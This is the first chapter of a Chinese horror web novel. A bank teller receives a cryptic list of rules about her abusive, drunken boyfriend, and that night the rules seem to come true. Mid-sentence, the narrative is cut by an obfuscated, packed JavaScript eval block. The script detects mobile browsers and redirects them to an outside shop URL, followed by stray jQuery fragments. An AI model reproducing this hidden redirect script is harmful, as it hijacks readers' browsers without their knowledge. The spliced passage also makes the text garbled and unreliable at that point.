第一章纸条
一
陈默在银行干了五年，经手的钱能堆成一座小山，但她自己口袋里永远只装着一枚一分钱硬币。
那是三年前的事。但她现在还没扔。
也不是刻意留着，就是每次换衣服都顺手掏出来扔进新裤兜，时间长了，那枚硬币已经成了她身上的一部分，像一颗多余的痣，没什么用，但也不碍事，就一直带着。
硬币正面是国徽，反面被磨得几乎看不清年份。她偶尔等红灯的时候会把它掏出来，在手指间翻个面，再翻个面，然后红灯变绿，她把它塞回口袋，继续往前走。
六月下旬，梅雨季倒数第七天。
雨从早上下到现在还没停，玻璃窗上糊着一层水汽，外面的世界被揉成一团模糊的灰绿色。营业大厅里没人，保安老周靠在门边打哈欠，空调出风口嗡嗡响，整个网点像一艘沉在水底的船。
陈默对着电脑屏幕发呆。
她今天办了三笔业务：一笔水电费代缴，一笔定期转存，一笔换零钱。三笔业务加起来用时十七分钟，剩下七个小时四十三分钟，她都在等下班。
显示屏右下角跳成15:47。
门开了。
进来的老头大概七十多岁，穿着一件洗得发白的深蓝雨衣，雨水顺着下摆滴在地上，一路滴到陈默的窗口前。他走得很慢，像每一步都要先想清楚再落脚。
老周看了他一眼，没动。
老头在窗口前站定，从雨衣内袋里摸出一个塑料袋，塑料袋里包着一层报纸，报纸里裹着一只手帕，手帕里——倒出一枚硬币。
一分钱。
陈默盯着那枚硬币看了两秒。
“大爷，您存钱？”
老头点头。
“存多少？”
老头把硬币往前推了推，就那一枚。
陈默张了张嘴，把“您这是逗我玩呢”咽了回去。她在这窗口坐了五年，见过来存一毛两毛的，见过来换一百个一块硬币的，但专程来存一分钱的，这是头一个。
“大爷，”她尽量让声音听起来正常点，“您确定就存这一分？”
老头又点头。
陈默拿起那枚硬币。冰的，沾着雨水的湿气。她低下头开始敲键盘，准备手工录入这笔存款。
余光里，老头的手伸了过来。
不是伸向窗口的凹槽，是伸向那个递东西的缝隙——那个只够塞进一张纸、一只手、一个信封的缝隙。
一张纸条被塞了进来。
陈默愣住。
老头的嘴唇动了动，声音压得很低，低到只有她能听见：
“今晚十二点前看。记住，对你男朋友，必须照做。”
陈默抬起头。
老头已经转身走了。雨衣的下摆拖过地砖，留下一道湿痕，然后那道湿痕被空调吹干，什么都没有了。
她低头看手里的纸条。
还没打开，老周的声音从柜台外传来：“陈默，刚才那位大爷存了多少？系统有记录吗？”
陈默下意识去看电脑屏幕。
交易记录那一栏——
空白。
她还没开始录入，屏幕上当然什么都没有。但老周问的是“有记录吗”，而她盯着那片空白，突然有一种奇怪的感觉——
那枚硬币，好像从来不属于这里。
“没办，”她听见自己说，“他走了。”
老周“哦”了一声，退回门边继续打哈欠。
陈默把纸条塞进工装裤兜里，和那枚一分钱硬币放在一起。
她低下头，盯着键盘，盯了很久。
二
下班已经是晚上八点四十。
雨停了，空气里全是水汽，像有人把整座城市放进蒸笼里蒸过。陈默挤了一个小时地铁，出站时天已经黑透，路灯下的水洼映出一块块碎光。
她走到单元楼下，抬头看七楼的窗户。
黑的。
王志强还没回来。
她说不清自己是松了一口气，还是又憋了一口气。
电梯上行的时候，她把那张纸条掏出来看了一眼，又塞回去。她没打开。地铁上太挤，没手。出站后太黑，没灯。现在电梯里有灯，但她突然不想看。
不知道在怕什么。
开门，换鞋，开灯。客厅还是那个客厅，沙发还是那个沙发，茶几上还放着三天前没收拾的外卖盒，已经馊了，一股酸臭味。
她放下包，先去开窗，然后去收拾外卖盒，然后去卫生间洗了把脸，然后坐在沙发上发呆。
然后她想起兜里那张纸条。
掏出来，展开。
纸条是那种最普通的作业本纸，撕得不齐，边上有毛刺。字是圆珠笔写的，笔迹很急，有些字被水洇过，糊成一团，但还能辨认。
她一行一行往下看：
《与“他”同居共存守则》
1. 他深夜回家敲门时，不要马上开门。数到三十，再开。
2. 他喝醉后说的话，无论多难听，不要反驳，不要流泪，点头就好。
3. 如果他在酒桌上吹牛说“我女朋友是银行的，有的是钱”，三天内必须提分手。
4. 真正的他，从不洗澡。
5. 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。能跑多远跑多远。
陈默盯着这张纸条，看了很久。
第一条，她不用学。她早就习惯等他敲门敲到第二十几下才去开——不是故意，是累了，不想动。
第二条，她也不用学。三年了，王志强喝醉后说的话，她一句都没反驳过。他说她没用，她就听着；说她配不上他，她也听着；说“要不是我，你能住这么好的房子”，她还是听着。听着听着就习惯了，听着听着就不知道自己还能说什么。
第三条，她见过。上个月他带她去一个饭局，喝多了就开始吹，“我女朋友银行的，柜员怎么了？柜员也有门路，改天让她给你们弄点贷款”。满桌子人哄笑，她低着头，恨不得把自己缩成一团空气。
第四条——
她顿住了。
真正的他，从不洗澡。
从不洗澡。
她和王志强同居三年。
三年。
她拼命回忆，想找出一个他洗澡的画面。浴室门关着，水声哗哗，她隔着门喊“洗好了吗”——
有吗？
没有。
一次都没有。
她从来没见过他进浴室。从来没见过他用毛巾。从来没见过沐浴露的瓶子动过。
但她以前从没注意过。
第五条，她还没见过。他在KTV点陪酒女，她知道。消费小票她翻到过，一条一条列得明明白白：啤酒、果盘、果盘、啤酒、陪酒女（2位）*6 小时。但她没见过那些女人，她们只是小票上的一行字，不是活人。
如果有一天，她们从纸上走出来，朝她看一眼——
跑。
能跑多远跑多远。
陈默把纸条折起来，又展开，又折起来。
她不知道该信还是不该信。
一个陌生老头，一张莫名其妙的纸条，一枚一分钱硬币——这听起来像什么？像她在银行窗口听了五年的那些“我跟你说，我昨天遇到个怪事”的闲聊。那些人说完就走了，她笑着点头，然后继续办下一笔业务。
但那张纸条现在在她手里。
而那枚硬币，还在她口袋里。
三
晚上一点二十。
陈默躺在床上，没睡。
窗帘没拉严，外面路灯的光漏进来一条缝，正好切在衣柜上。她盯着那条光缝，听客厅里的动静。
王志强还没回来。
她翻了个身，又翻了个身。手机亮了两次，都是垃圾短信。她把手机扣过去，盯着天花板。
纸条压在枕头底下。她伸手摸了一下，还在。
一点四十。
楼道里有脚步声。很重，拖沓，一步一停。陈默竖起耳朵听，那脚步声越来越近，越来越近，然后在门口停住了。
安静了三秒。
然后门被砸响了。
“砰——砰——砰——”
是拳头砸门的声音，不是敲门。每一下都砸得整栋楼都在抖。
“开门！陈默！开门！”
王志强的声音，含糊，大舌头，喝大了。
陈默躺着没动。
“砰——砰——砰——！”
“陈默！我操你妈的聋了？！开门！”
她开始数。
一、二、三……
砸门声一下接一下，中间夹着骂娘，夹着踹门，夹着楼道里回声荡来荡去。
十一、十二、十三……
她从来没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387613|200269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
数过这么慢。三十秒，平时就是一眨眼的工夫，现在每一秒都像被拉长了一倍。砸门声越来越响，骂声越来越难听，她甚至能听见邻居家开门又关上的声音。
二十三、二十四、二十五……
门外突然安静了。
那一下安静来得毫无征兆，像有人一刀切断了所有声音。骂声没了，砸门声没了，连楼道里嗡嗡的灯管声都没了。
陈默攥紧被角。
二十八、二十九——
三十。
她坐起来，下床，光着脚走到门口，握住门把手。
门把手是凉的。比平时凉，像刚从冰箱里拿出来的铁。
她深吸一口气，拧开。
门开了。
王志强站在门外。
走廊的声控灯没亮。他整个人站在黑暗里，只能看见一个轮廓，和两只眼睛——那两只眼睛在反光，像猫，像狗，像什么夜里会发光的动物。
陈默下意识往后退了一步。
王志强迈进来，灯亮了。
他还是那个王志强。四十岁，发福，脸喝得通红，眼睛眯着，一身酒气。西装外套歪了半边，衬衫领口敞着，领带勒在脖子上一半松一半紧。
他盯着陈默看。
那眼神不对。不是喝醉的那种涣散，是清醒的。是审视的。是——
陈默不知道那是什么。
“磨蹭什么呢？”他开口，声音和平时一样，“我他妈在外面挣钱养你，你连个门都不利索开？”
陈默没说话。
她想起规则第二条。
王志强从她身边挤过去，鞋子也不脱，直接踩进客厅，一屁股砸进沙发里。沙发发出一声闷响。
“倒水。”
陈默去倒水。
水壶是空的。她打开水龙头接水，烧上，站在厨房里等。客厅里没声音。她回头看，王志强仰在沙发上，眼睛闭着，像是睡着了。
她端着水杯走过去，放在茶几上。
转身要回卧室。
“陈默。”
她停下。
王志强还闭着眼，但嘴在动。
“我今天在酒桌上，又跟他们吹你了。”
陈默站着没动。
“我说，我女朋友银行的。柜员。别看不起柜员，她们行长都得给她面子。改天让她给你们弄点贷款——”
他睁开眼，扭头看她，咧嘴笑了。
“他们信了。”
陈默的手指攥紧了一下，又松开。
“你明天，”王志强说，“给我开个户。公司要用。”
“你公司不是有户吗？”
“再开一个。”
“在哪开都行，你明天自己来我们网点办——”
“我说你开就你开。”他的声音突然沉下去，“听不懂人话？”
陈默没说话。
王志强盯着她，又笑了一下，那笑容很短，像撕开一道口子又立刻合上。
“行，睡吧。”
他闭上眼，不再动了。
陈默站在原地，站了五秒，然后转身走进卧室，关上门。
她背靠着门，慢慢滑坐到地上。
客厅里没有水声。他没起来喝水。他没去洗澡。他甚至没动。
他就那么躺在沙发上，躺在一片黑暗里。
陈默把那张纸条从枕头底下抽出来，就着路灯的光，又看了一遍第五条：
如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。
她想起茶几上那张消费小票。
那是三天前的事了，她翻他口袋时翻出来的。她没问，他也没说。
小票上写的陪酒女，是两个。
她们长什么样，她不知道。
但如果有一天，她们从那张小票里走出来，朝她看一眼——
她能跑哪去？
陈默把纸条攥在手心里，蜷缩着躺在地上，背抵着门，一夜没睡。
门外始终没有声音。
第二天早上，她醒来的时候，王志强已经走了。茶几上的水杯还是满的，一口没动。
沙发垫上有一个印子，像有人躺过的痕迹。
但那印子的形状，有点不对。
太深了。
像躺了很长时间。
像躺了——很多年。
---
第一章完